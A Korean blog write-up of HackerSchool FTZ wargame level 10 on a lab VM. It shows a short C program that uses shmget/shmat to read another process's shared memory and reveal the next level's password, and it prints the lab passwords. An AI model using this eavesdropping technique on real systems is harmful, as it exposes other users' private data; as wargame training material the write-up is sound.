[ftz] hackerschool level10 풀이

hackerschool level10 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 9.0

참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

login as: level10
level10@192.168.31.128's password:

 

 

 

level10 문제의 아이디인  level10 와 password인   interesting to hack! 을 입력하여 level10의 유저로 접속합니다.

 

 

 

[level10@ftz level10]$ ls -l
total 16
-rw-r-----    1 root     level10       253 Jan 14  2010 hint
drwxr-x---    2 root     root         4096 Mar 29  2003 program
drwxr-xr-x    2 root     level10      4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level10      4096 Jul  8 16:33 tmp

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/level10 ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[level10@ftz level10]$ cat hint


두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.
그 대화방은 공유 메모리를 이용하여 만들어졌으며,
key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여
level11의 권한을 얻어라

- 레벨을 완료하였다면 소스는 지우고 나가주세요.

 

 

 

cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

 

level10은  공유 메모리 를 이용한 문제입니다. 공유 메모리란 여러 프로세스가 공유해서 쓰는 메모리를 의미합니다. 본래 프로세스는 자신만의 메모리 공간이 있고, 다른 프로세스가 침범할 수 없게 되어있습니다. 하지만 프로세스 간의 데이터 공유를 위해 메모리를 공유한 것이고, 이 취약점을 이용해 level11의 비밀번호를 알아내는 것이 이번 문제의 핵심입니다.

 

 

공유 메모리 사용을 위해 두 가지의 함수를 사용하도록 하겠습니다. 첫 번째는 shmget으로 생성되어 있는 공유 메모리의 ID를 읽어오는 함수이고, 두 번째는 shmat으로 프로세스에서 공유 메모리 공간을 사용할 수 있게 연결하는 함수입니다. 코드를 보며 조금 더 자세히 설명하겠습니다.

 

 

[level10@ftz tmp]$ vi level10.c
#include <stdio.h>
#include <sys/shm.h>
#include <sys/types.h>

int main(){
        int sharedID;
        char *sharedMem;
        sharedID = shmget(7530, 1024, IPC_CREAT);
        sharedMem = shmat(sharedID, NULL, SHM_RDONLY);
        printf("%s\n",sharedMem);
}

 

 

 

퍼미션 에러 때문에 /home/level10 안에서는 파일 생성이 불가능하므로 tmp 폴더로 이동해 level10.c를 위의 소스코드대로 만들겠습니다. 위의 코드에서 중요한 shmget과 shmat 코드를 살펴보겠습니다.

 

 

 

1. shmget(7530, 1024, IPC_CREAT)

7530 : 공유 메모리를 읽기 위한 key 값이 들어갑니다. 힌트에 key값이 7530으로 나와있음으로 7530을 넣어줍니다.

1024 : 공유 메모리의 크기를 의미합니다.

IPC_CREAT : 공유 메모리 생성이나 사용 옵션을 지정하는 것으로 공유 메모리를 생성합니다.

위 코드의 결과로 공유 메모리를 생성하거나 이미 만들어져 있는 공유 메모리라면 그 메모리의 ID를 반환합니다.

 

 

2. shmat(sharedID, NULL, SHM_RDONLY)

sharedID : 위의 shmget 결과로 만들어진 ID입니다.

NULL : 공유 메모리가 할당된 주소입니다.

SHM_RDONLY : 공유 메모리를 읽기 전용으로 설정합니다.

위 코드의 결과로 생성된 공유 메모리를 프로세스에 연결합니다.

 

 

 

 

[level10@ftz tmp]$ gcc -o level10 level10.c
[level10@ftz tmp]$ ./level10
멍 멍 : level11의 패스워드는?
구타 : what!@#$?

 

 

 

위에서 만든 .c 코드를 컴파일하고, 실행하게 되면 level11의 패스워드를 알 수 있습니다.

 

 

 

 

l level11 비밀번호

더보기

멍 멍 : level11의 패스워드는?
구타 : what!@#$?

 

'보안 > HackerSchool-ftz' 카테고리의 다른 글

[ftz] hackerschool level12 풀이  (0) 2019.11.16
[ftz] hackerschool level11 풀이  (0) 2019.11.14
[ftz] hackerschool level9 풀이  (0) 2019.11.11
[ftz] hackerschool level8 풀이  (0) 2019.11.09
[ftz] hackerschool level7 풀이  (0) 2019.11.05

이 글을 공유하기

댓글

Designed by JB FACTORY